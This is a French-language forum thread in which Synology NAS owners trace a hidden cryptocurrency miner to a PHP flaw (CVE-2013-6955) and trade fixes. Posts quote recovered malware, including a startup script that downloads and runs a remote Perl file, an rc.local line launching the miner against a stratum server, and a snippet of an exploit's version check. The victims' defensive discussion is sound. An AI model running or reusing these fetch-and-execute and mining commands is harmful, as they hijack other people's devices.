Processus A 100% Et Dhcp.pid

[mwanico]

Bonjour à tous

je viens vers vous car ne te trouve pas de réponse à ma question et à mon soucis.

Depuis un certain temps j'ai mon CPU qui est constamment bloqué à 100%.

En vérfiant les processus actifs, j'ai le "dhcp.pid" qui bouffe tout.

Ce processus oscille suivant ce que fait. il peut varier de 5% à 70% mais fait en sorte de combler les ressources disponibles.

Il prends 300ko de RAM soit rien du tout.

Comment je peux "supprimer" ce processus ou tout au moins le réduire pour que tout redevienne à la normal.

Qu'est ce que c'est ce "dhcp.pid"?

Je ne trouve aucune infos.

Serais-je vérolé?

J'ai bien sur redémarré mon DS211J. Mis la dernière mise à jour. Et je viens même d'arreter tous les service et paquets installés. Rien y fait.

Merci d'avance pour votre aide.

A+ nico

[lejurassien45]

J'ai exactement le même problème!! Dhcp.pid prends presque 100% et depuis 2 jours,avant cétait le process armv5tel0 et le jours suivant armv5tel1,une fois rebooté,c'est le process httpd-log.pid qui me les a brisées et depuis hier c'est ce fichu dhcp.pid qui fait des siens!!

Je suis toujours en 4.1.2661 sur un syno 212+.

J'ai aussi essayé d'arrêter tous les paquets et de les redémarrer un par un mais tout c'est bien passé et au matin c'est reparti pour un tour de manège!!

Passage de l'antivirus essentiel et rien,nada.....

merci d'avance si quelqu'un passe.

un petit rab qui me paraît étrange,on voit bien que le process httpd "a été réveillé" à 2h17 cette nuit et bien sûr je dormais,mais ce qui est étrange ce sont les droits qui sont différents des autres process,sans parler de la taille qui est strange aussi,et c'est le seul qui a été actif dans la nuit.

De plus,chaques xxx.pid quand je l'édite j'ai un numéro jusque là c'est normal,mais httpd.log.pid est crypté ou autres car l'édition est juste illisible du genre
»ÿÿë Pã
Wã 0`†à 0‡ etc......

Modifié le 13 février 2014 par lejurassien39

[Gzu]

Hello,

Je rencontre le même symptome depuis hier soir avec dhcp.pid me consommant 100% de mon CPU tout au long de la journée.

J'ai kill le process et tout est rentré dans l'ordre. Un top dans la console m'indiquait une @IP (46.249.51.176) ainsi que 2 ports 3333+3334 utilisés.

Ce matin rebelote, toujours avec dhcp.pid, même port mais une autre IP (94.102.49.168). Tout est rentré dans l'ordre après un kill du process.

En creusant un peu plus je suis tombé sur ce forum: http://forum.synology.com/enu/viewtopic.php?f=19&t=81026

Comme dit, le fichier est présent dans /tmp/ et se trouve être un bitcoin miner:

./dhcp.pid --help
Usage: minerd [OPTIONS]
Options:
  -a, --algo=ALGO       specify the algorithm to use
                          scrypt    scrypt(1024, 1, 1) (default)
                          sha256d   SHA-256d
  -o, --url=URL         URL of mining server (default: http://127.0.0.1:9332/)
(...)

Il s'agit donc bien d'un hack.

J'ai effacé ce fichier de mon /tmp et lancé un scan antivirus sans succès pour l'instant.

J'ai créé une rêgle de firewall pour bloquer les ports 3333 et 3334.

Je n'ai pas trouvé de traces de connexion suspecte dans mes journaux et ma crontab est clean.

Je suis en DSM 4.2-3211 pour info.

edit: Je suis allé vérifier à mon tour dans /var/run et httpd-log.pid était bien présent, en date d'aujourdhui à 2h11. Il s'agit du même bitcoin miner qui était camouflé précedemment dans mon /tmp/dhcp.pid (en date d'hier, 15h42 en revanche)

Modifié le 13 février 2014 par Gzu

[lejurassien45]

Effectivement,j'ai aussi fait un top et j'ai à peu de choses près la même chose que toi à part l'ip qui est différente mais les même ports.

Mes logs sont aussi clean et la crontab aussi.

Il y a juste un truc que je pige pas,mes ports 3333 3334 ne sont pas ouverts (c'est donc le hack qui le fait??) Et as-tu une idée du comment on a été vérolé??

Et comment fait-on pour bloquer ces ports?

Merci beaucoup pour ton aide!!

Modifié le 13 février 2014 par lejurassien39

[Fravadona]

Vous avez peut-etre ete pirates comme pour les bitcoins. Quels sont les ports de vos NAS accessibles depuis l'exterieur ?

[Gzu]

Aucune idée concernant l'origine de la cochonnerie

Pour le blocage des ports, j'ai simplement créé une rêgle dans le firewall de DSM empêchant l'utilisation de ces 2 ports, ainsi que sur mon routeur.

J'ai également désactivé SSH en attendant d'avoir plus de lisibilité et changé mon password administrateur (Admin étant désactivé, je suis le seul admin du Syno)

Ca ne résoud sans doute rien, mais c'est déja ça

LA vrai solution serait de restore/update mon Syno évidemment

A suivre...

Modifié le 13 février 2014 par Gzu

[mwanico]

Wahou! ca fait peur tout ca.

Merci de votre aide

au moment ou je vous ai envoyé le premier message, j'ai coupé mon syno

Je viens juste, après redémarrage, de bloquer c'est fameux ports uniquement sur mon syno, j'ai pas acces au ma Box. Pour l'instant ce fichu processus n'est pas apparu! merci

par contre Gzy tu dis

J'ai également changé mon password administrateur (Admin étant désactivé, je suis le seul admin du Syno)

Tu fais comment pour desactiver le compte admin?

[lejurassien45]

Merci pour ton aide et pour avoir mis le doigt sur le problo!!!!

J'avais pas vu que l'on pouvait aussi refuser l'accès à un port en gardant les précédants réglages déjà fait dans le firewall!! Je pensais naïvement que les ports autorisés empêchait d'utiliser les autres ports....

Encore MERCI!!!!!!!!!!!!!!!!! GZU

[Gzu]

@lejurassien39: De rien, je suis dans la même galère

@manwico: http://www.synology.com/fr-fr/support/tutorials/478 (toutes les infos en chapitre 2)

J'ai remarqué que changer le password de mon admin, ne modifiait pas celui du compte root pour la connexion SSH.

Suis en train de regarder comment faire mais ça ne semble pas aussi simple qu'un passwd...

edit: En fait c'est tout simple, il suffit de changer le mot de passe du compte "Admin"

Même si ce compte est désactivé, le mot de passe root pour la connexion SSH sera néanmoins modifié par le nouveau.

edit2: Quitte à désactiver SSH, j'en ai également profité pour désactiver FTPS...

PS: un topic connexe concernant le "rogue *Coin miner" qui fait un peu flipper: http://forum.synology.com/enu/viewtopic.php?f=19&t=80857

Modifié le 13 février 2014 par Gzu

[lejurassien45]

Franchement je suis pas sûr que le mot de passe admin/root soit en cause.... Le mien est juste très très spécial (après avoir utilisé backtrack,john,hydra,etc... j'ai mis un mot de passe qui est vraiment sécure,mon routeur (tomato) est très sécurisé(connection à l'administration uniquement en filliaire et https,upnp désactivé,nat pnp désactivé aussi,filtrage mac activé,il n'y a que le port et 5000 d'ouverts. Je suis presque sûr que c'est pas via le login du syno que cette m.... s'installe,mais bien via le port ou 5000 qu'il arrive à passer et ensuite ......beuuuh

Perso j'ai vu un nouveau dossier partagé nommé startup et dedans il y avait ceci

#!/bin/sh
#
#
# Stop myself if running
PIDFILE=/var/run/DiskStation.pid
#
start() {
 nohup /usr/syno/bin/curl http://83.170.113.14:8080/browser/start.pl | perl -- &
 # write pidfile
 echo $! > $PIDFILE
 echo "Optware startup myscript"
}
#
stop() {
 [ -f ${PIDFILE} ] && kill -9  0
 # remove pidfile
 rm -f $PIDFILE 
 echo "Optware shutdown myscript"
}
#
case "$1" in
       start)
               start
       ;;
       stop)
               stop
       ;;
       restart)
               stop
               sleep 1
               start
       ;;
       *)
               echo "Usage: $0 (start|stop|restart)"
               exit 1
       ;;
esac
# End	

que j'ai viré de suite et il est revenu assez rapidement...je crois que c'est en faisant la mise à jour de init 3rdparty!!!

Peut-être le coupable....

Modifié le 13 février 2014 par lejurassien39

[Fravadona]

Seule solution une fois infecte : Reinstaller le syno avec DSM 4.3-3810 Update 4 .

Et non le mot de passe n'y est pour rien car l'infection vient d'injection de code par une faille de PHP

Modifié le 13 février 2014 par Fravadona

[lejurassien45]

Seule solution une fois infecte : Reinstaller le syno avec DSM 4.3-3810 Update 4 .

Et non le mot de passe n'y est pour rien car l'infection vient d'injection de code par une faille de PHP

C'est bien ce que je pensais,mais est-ce qu'une mise à jour du dsm de 4.1 en 4.3 est égale à une reinstallation??

edit: je réponds à ma question (ça peut aider.)

I think what you can do at the monment is:

- upgrade DSM to latest version (IIRC 4.3 3810-update 4, which has some important security fixes)

- reboot the NAS and observe if the rogue processes appear again

- if you get them again, re-install DSM (it won't touch your user volumes) once again up to latest update4

Modifié le 13 février 2014 par lejurassien39

[Gzu]

Hello,

Je pense avoir trouvé un truc interessant:

Minerd process is a result of the security vulnerability in 4.3 prior to 3810 update 3. Please backup the configuration file if any, reinstall DSM and restore configuration and update DSM to 3810 update 3.

You can backup configuration in DSM MAin Menu>Backup and Restore>Configuration backup tab.

To reinstall the DSM please follow this tutorial ( part 3)
http://www.synology.com/en-us/support/tutorials/493#t3

After you successfully install the DSM, please go to a Control Panel->DSM update.

et

Vu ici: http://forum.synology.com/enu/viewtopic.php?f=7&t=78993

Bref, maintenant on sait c'est connu !

La solution est connue également: Backup + Reset + Update

Bon backup et bon serrage de fesse à tous pendant ces manipulations

[lejurassien45]

Et comment t'explique que la faille dont tu parles concernant donc le dsm 4.3 m'atteint aussi avec le dsm 4.1.2661??

Ici aussi il y a des "indices" http://forum.synology.com/enu/viewtopic.php?f=19&t=81026

edit: merci quand même,tu m'as évité de faire une mise a jour pour rien.

edit: Apparement pas mal de personnes ont utilisé cette faille et on créer chacun sa petite merde!!

http://thesbsguy.com/?p=244

Moi j'ai été touché aussi par le script dans un dossier startup (post #10 un peu au dessus) !!! Jusqu'à maintenant j'en était pas sûr mais ici c'est expliqué!!

Update: There seems to be two versions.

The one I found (user ‘smmsp’ with multiple PWNEDm process running – actually a program called mined that’s been renamed , no other apparent damage besides tampering with some Synology web-interface files ot hide it’s CPU activity. Seems to all be started form a user called smmsp (Sendmail user – listed in the /etc/passwd file)

There also seems to be another variant that actively looks for username/passwords in places such as /etc/ddns.conf, adds a folder called /volume1/startup with a Pearl script to activate itself. This one also seems to tamper with some rudimentary command line tools such as ls, cat and top to prevent removal.

Edit: Il y a aussi un truc pas clair dans /etc/shadow et etc/passwd cette ligne: smmsp:*:10933:0:99999:7:::

Je l'ai recherché dans google et on tombe sur un exploit!! Quel chiotte,maintenant je sais pas trop ce qui est touché ou pas,certain ont constaté pas mal de choses mais c'est un poil compliqué pour moi! Mais voici la page sur laquelle il y a aussi un lien pour télécharger Syno-pwned http://thesbsguy.com/?p=244

trouvé aussi usr/syno/synoman/redirect.cgi qui a été touché à 2h17 comme le process httpd.pid!!!!

en voici le contenu:

echo -e "Content-Type: text/htmln"
[ -n "$1" ] && echo "<html><script type="text/javascript">var URL=location.protocol+"//"+location.hostname+":$1/";location.replace(URL);</script></html>"

Celui là dans etc/rc.local aussi touché à la même heure! Et là aucuns doutes!!!

/var/run/httpd-log.pid -B -q -o stratum+tcp://46.249.51.175:3339

Encore ici on pige ou est la faille et comment elle est utilisée et en rab on peut voir que tout les dsm 4.x sont touché!!!!

http://www.exploit-db.com/exploits/30470/

Modifié le 13 février 2014 par lejurassien39

[Gzu]

@lejurassic39: Je suis en DSM 4.2 et pourtant j'ai mangé le malware moi aussi (également vu d'autres témoignages ça et là). J'aurais tendance à penser que la faille est antérieure au build 4.3-3776...

Bizarrement je n'ai trouvé ni le dossier /volume1/startup, ni le dossier /PWNED.

Juste les 2 fichiers /var/run/http-log.pid et /tmp/dhcp.pid

Je compte de toute façon me coller ce soir sur le palliatif, j'aime pas trop l'idée d'une cochonnerie dans mon serveur de données...

Modifié le 13 février 2014 par Gzu

[lejurassien45]

@lejurassic39: Je suis en DSM 4.2 et pourtant j'ai mangé le malware moi aussi (également vu d'autres témoignages ça et là). J'aurais tendance à penser que la faille est antérieure au build 4.3-3776...

Bizarrement je n'ai trouvé ni le dossier /volume1/startup, ni le dossier /PWNED.

Juste les 2 fichiers /var/run/http-log.pid et /tmp/dhcp.pid

Je compte de toute façon me coller ce soir sur le palliatif, j'aime pas trop l'idée d'une cochonnerie dans mon serveur de données...

Le volume statup je ne l'ai vu "enfin il est apparu parce que caché) que quand j'ai voulu créer un nouveau dossier partagé!!

[lejurassien45]

Quelqu'un de plus doué que moi doit pouvoir tirer pas mal de choses de ceci!!!!

http://www.exploit-d...exploits/30470/

en vla deux qui n'ont rien à foutre dans le fichier host!

127.0.0.1 eventuallydown.dyndns.biz celle là est en rapport avec des images(dans le payload c'est ici qu'est la vulnérabilité /webman/imageSelector.cgi
127.0.0.1 zazti.myftp.org (et comme par hasard celle là mène à nouveau sur apache tomcat comme l'adresse dans le script #post10!)

Modifié le 13 février 2014 par lejurassien39

[Dex]

Touché aussi en DSM 4.2 ...

[Dex]

trouvé aussi usr/syno/synoman/redirect.cgi qui a été touché à 2h17 comme le process httpd.pid!!!!

en voici le contenu:

echo -e "Content-Type: text/htmln"

[ -n "$1" ] && echo "<html><script type="text/javascript">var URL=location.protocol+"//"+location.hostname+":$1/";location.replace(URL);</script></html>"

Ce fichier me semble correct. En DSM 3.1 sur mon 107+ :

#!/bin/sh

echo -e "Content-Type: text/htmln"

[ -n "$1" ] && echo "<html><script type="text/javascript">var URL=location.protocol+"//"+location.hostname+":$1/";location.replace(URL);</script></html>"

Mon 213+ etait en 4.2 jusqu'a il y a qques minutes, je viens d'installer 4.3 + patch. J'avais virer redirect.cgi comme tous les fichiers modifiés/crées ce jour (un 13) à 17H11 (date de dhcp.pid qui bouffait mon cpu).

J'ai un nouveau redirect.cgi qui est le même que sur le 107+ coté contenu.

Accessoirement, j'avais déjà un repertoire startup et rien n'a été ajouté dedans.

A+

[mwanico]

eh ben c'et un rien compliqué!

ceci étant j'ai fait la mise a jour 4.3-3810 et ainsi que de l'update 4 et depuis je n'ai plus mon CPU à 100% et le processus dhcp.pid n'apparait plus. Donc pour moi le sujet est résolu.

je pense que l'update 4 a permis de corriger le problème. Ils sont réactifs chez Synology.

Pour info il ya une mise à jour en version 4.3-3827 !

Version: 4.3-3827

(2014/2/14)

Change Log

1. This update repairs the system and removes malware caused by a past system vulnerability (CVE-2013-6955).
2. The compatibility of SMB 2 file service has been enhanced when transferring files to Mac OS X 10.9.
3. Fixed an issue where SFTP service would consume excessive memory when it was enabled.
4. This update is required to continue to using QuickConnect & Push Service notifications.

Voila je pense que c'est du coup completement réglé.

Encore merci à vous

a+ nico

Modifié le 14 février 2014 par mwanico

[Lindice]

Bonjour à tous,

Petite contribution de la part d'une autre victime... J'ai repéré hier matin ce fameux process DHCP.pid à 100% sur un Syno DS409slim en DSM 2.4 (celui d'avril dernier, je n'ai pas le build sous les yeux). En fait j'ai raté l'update de novembre, pas vu :-(.

Bref... J'ai dû laisser le Syno allumé toute la journée pour accéder à des docs importants du bureau. Surprise, hier soir en rentrant du boulot : plus de process DHCP en vue. La CPU était revenue entre 5 et 20%, tout semblait normal. Bizarre. Je lance un top dans la console, pas de process douteux. Je lance un find sur les fichiers de l'utilisateur 502 (vu sur une des files qui traitent du sujet): rien. Bon...Je fais la mise à jour DSM, je laisse les services d'indexation tourner cette nuit.

Ce matin, pris d'un doute, je jette un coup d'œil plus pointu sur les résultats du TOP. La CPU ressort autour de 10%... mais je m'aperçois qu'Idle est à zéro ! En fait le processus a été nicé pour être moins visible. Et là je vais de surprise en surprise. Apparemment, les hackers ont changé la commande TOP pour filtrer la sortie des process (ils n'ont pas encore poussé la sophistication au point de recalculer un taux idle en réintégrant la consommation de leur process, mais ça ne saurait tarder). De même, les commandes ls, find ont été modifiées. Et les scripts de mise à jour du Syno réinstallent bien proprement le virus après la mise à jour.

Vérifiez bien vos taux Idle si vous pensez vous être débarrassés du bidule. A priori, la seule solution consiste à :

* télécharger la version à jour du DSM en local

* couper la connexion Internet

* faire un hard reset du syno (je n'ai plus le mode op sous la main mais c'est facile à trouver)

* réinstaller manuellement le dernier DSM

Normalement, ça n'a pas d'incidence sur les fichiers de Volume1. Il paraît qu'on peut même conserver la configuration complète du Syno. Bref, je me prévois un WE sympathique. En fait, j'ai eu de la chance de repérer le process hier matin car dès hier soir, tout était parfaitement indétectable sans une analyse approfondie. Je n'aurais jamais rien vu. Juste un vague sentiment que le Syno tourne un peu moins vite que d'habitude, sans que ce soit aussi flagrant qu'il y a 24 heures (comme ils sont repassés en low priority, ils ne pompent la CPU que quand on ne requiert aucun service du Syno).

Good luck à tous. J'étais content de vous trouver hier et j'espère que ce post en aidera quelques-uns à y voir plus clair sur l'état de leur système.

Lindice

[Edit] mwanico... Spéciale dédicace. J'espère vraiment que tu t'en es débarrassé, mais j'ai comme un doute...

Modifié le 14 février 2014 par Lindice

[mwanico]

Bonjour à tous,

Petite contribution de la part d'une autre victime... J'ai repéré hier matin ce fameux process DHCP.pid à 100% sur un Syno DS409slim en DSM 2.4 (celui d'avril dernier, je n'ai pas le build sous les yeux). En fait j'ai raté l'update de novembre, pas vu :-(.

Bref... J'ai dû laisser le Syno allumé toute la journée pour accéder à des docs importants du bureau. Surprise, hier soir en rentrant du boulot : plus de process DHCP en vue. La CPU était revenue entre 5 et 20%, tout semblait normal. Bizarre. Je lance un top dans la console, pas de process douteux. Je lance un find sur les fichiers de l'utilisateur 502 (vu sur une des files qui traitent du sujet): rien. Bon...Je fais la mise à jour DSM, je laisse les services d'indexation tourner cette nuit.

Ce matin, pris d'un doute, je jette un coup d'œil plus pointu sur les résultats du TOP. La CPU ressort autour de 10%... mais je m'aperçois qu'Idle est à zéro ! En fait le processus a été nicé pour être moins visible. Et là je vais de surprise en surprise. Apparemment, les hackers ont changé la commande TOP pour filtrer la sortie des process (ils n'ont pas encore poussé la sophistication au point de recalculer un taux idle en réintégrant la consommation de leur process, mais ça ne saurait tarder). De même, les commandes ls, find ont été modifiées. Et les scripts de mise à jour du Syno réinstallent bien proprement le virus après la mise à jour.

Vérifiez bien vos taux Idle si vous pensez vous être débarrassés du bidule. A priori, la seule solution consiste à :

* télécharger la version à jour du DSM en local

* couper la connexion Internet

* faire un hard reset du syno (je n'ai plus le mode op sous la main mais c'est facile à trouver)

* réinstaller manuellement le dernier DSM

Normalement, ça n'a pas d'incidence sur les fichiers de Volume1. Il paraît qu'on peut même conserver la configuration complète du Syno. Bref, je me prévois un WE sympathique. En fait, j'ai eu de la chance de repérer le process hier matin car dès hier soir, tout était parfaitement indétectable sans une analyse approfondie. Je n'aurais jamais rien vu. Juste un vague sentiment que le Syno tourne un peu moins vite que d'habitude, sans que ce soit aussi flagrant qu'il y a 24 heures (comme ils sont repassés en low priority, ils ne pompent la CPU que quand on ne requiert aucun service du Syno).

Good luck à tous. J'étais content de vous trouver hier et j'espère que ce post en aidera quelques-uns à y voir plus clair sur l'état de leur système.

Lindice

[Edit] mwanico... Spéciale dédicace. J'espère vraiment que tu t'en es débarrassé, mais j'ai comme un doute...

ok, je pense que je vais faire comme tu as dis un hard reset.

Par contre tu peux me dire comment tu vérifies l'IDLE. Ca veut dire quoi que l'idle est à 0? Et c'est quoi la commande ls, find?

désolé je débarque dans le monde linux.

[lejurassien45]

eh ben c'et un rien compliqué!

ceci étant j'ai fait la mise a jour 4.3-3810 et ainsi que de l'update 4 et depuis je n'ai plus mon CPU à 100% et le processus dhcp.pid n'apparait plus. Donc pour moi le sujet est résolu.

je pense que l'update 4 a permis de corriger le problème. Ils sont réactifs chez Synology.

Pour info il ya une mise à jour en version 4.3-3827 !

Voila je pense que c'est du coup completement réglé.

Encore merci à vous

a+ nico

J'espère que tu as pris la dernière version du dsm qui à été publié aujourd'hui?? 4.3.3827 Avec un patch contre cette caque... si non,il doit être possible d'installer que le patch.

Quand à moi sujet résolu,j'ai coupé l'accès au net,fait un double reset et réinstallé le dsm au propre car il y avait trop de fichier touché!!

Bonne journée!!

Edit: @ mwanico Tu as fait une mise à jour ou une réinstallation?? Parce que via la mise à jour je doute que tu sois débarassé de quoi que ce soit....

En relisant le payload j'ai vu que le fichier redirect.cgi est apparemment propre mais il a été "retouché" avec un éditeur exadécimal et ils se sont réservé un accès....

Je remets le payload,lit le bien c'est très interessant http://www.exploit-db.com/exploits/30470/

case version

when '4.0'

return Exploit::CheckCode::Vulnerable if build < '2259'

when '4.1'

return Exploit::CheckCode::Vulnerable

when '4.2'

return Exploit::CheckCode::Vulnerable if build < '3243'

when '4.3'

return Exploit::CheckCode::Vulnerable if build < '3810'

return Exploit::CheckCode::Detected if build == '3810'

end

On peut donc en déduire que 4.3.3810 est bel et bien vulnérable!!

Modifié le 14 février 2014 par lejurassien39

[Gzu]

Tout pareil, j'ai fait un reset et réinstallé la dernière version dispo. C'était une première fois, j'étais pas super à l'aise

Me reste plus qu'à réinstaller mes paquets tiers, le plus dur est passé !

@Lindice: Hallucinant le coup du process camouflé et des commandes bricolées. En quelques jours, ce truc est passé d'un bricolage grossier à une saloperie relativement bien foutue. Je n'aurais pas repéré le problème il y 2 jours, je serais sans doute tout simplement passé à côté aujourd'hui. En tout cas tu m'as fait bien psychoter pendant quelques minutes ! Tout semble clean de mon côté... Merci pour ton retour et bon courage pour ce WE !

@Mwanico: Les commandes ls et find sont utilisées dans la console et permettent la recherche de fichiers. La commande top permet de lister les processus en cours et les ressources utilisées. En tête de la commande top tu as les informations d'utilisation globale de ton processeur, la partie idle étant les ressources non utilisées:

[Dex]

Ce matin, pris d'un doute, je jette un coup d'œil plus pointu sur les résultats du TOP. La CPU ressort autour de 10%... mais je m'aperçois qu'Idle est à zéro ! En fait le processus a été nicé pour être moins visible. Et là je vais de surprise en surprise. Apparemment, les hackers ont changé la commande

Tu es certain du fait que l'idle soit à zéro est une preuve d'infection ?.

comme dit hier, j'ai isolé le syno d'internet, supprimé pas mal de trucs douteux, puis remis le syno sur le web pour faire les mise à jour (passage 4.2 ->4.3 puis 4.3-> correctif).

Suite à ton message, je lance un top et j'ai un idle à zéro (mais mon NAS ne bosse pas).

Je lance une re-indexation, le cpu monte et l'idle devient variable...

Ayant un doute sur le lien, je lance un top sur mon 107+ en DSM 3.1 (donc épargné) :

Mem: 120904K used, 5892K free, 0K shrd, 7408K buff, 81856K cached

CPU: 0.0% usr 0.1% sys 0.0% nic 99.8% idle 0.0% io 0.0% irq 0.0% sirq

Load average: 0.00 0.01 0.00 2/72 9205

PID PPID USER STAT VSZ %MEM %CPU COMMAND

9205 9201 root R 4024 3.1 0.2 top

3284 1364 admin S 34188 26.9 0.0 postgres: admin photo [local] idle

2316 1364 admin S 33824 26.6 0.0 postgres: admin synolog [local] idle

1367 1364 admin S 33264 26.1 0.0 postgres: writer process

1368 1364 admin S 33236 26.1 0.0 postgres: wal writer process

1364 1 admin S 33228 26.1 0.0 /usr/syno/pgsql/bin/postgres -D /var/s

3282 1 root S N 25984 20.4 0.0 /usr/syno/sbin/synoindexd

5378 2921 root S 19988 15.7 0.0 /usr/syno/sbin/smbd -D

8720 2921 root S 19984 15.7 0.0 /usr/syno/sbin/smbd -D

2921 1 root S 19660 15.4 0.0 /usr/syno/sbin/smbd -D

2923 2921 root S 19628 15.4 0.0 /usr/syno/sbin/smbd -D

2776 1 root S 16096 12.6 0.0 /usr/syno/sbin/fileindexd

2865 1 root S 15280 12.0 0.0 /usr/syno/sbin/nmbd -D

1906 1 root S 15180 11.9 0.0 /usr/syno/sbin/hotplugd

1262 1 root S < 11764 9.2 0.0 /usr/syno/bin/findhostd

4235 1 root S 10896 8.5 0.0 /usr/syno/bin/synolocalbkpd -D

3207 1 root S 9620 7.5 0.0 /usr/syno/sbin/ftpd -D

3281 1 root S N 9324 7.3 0.0 /usr/syno/bin/synomkthumbd

3288 1 root S N 9324 7.3 0.0 /usr/syno/sbin/synomkflvd

1369 1 root S 8372 6.5 0.0 /usr/syno/bin/scemd

Le NAS ne fait rien et l'idle est aussi à zéro. Donc soit j'ai pas compris le lien cpu/idle soit il n'y a pas forcement de liaison (soit les deux .

A+

David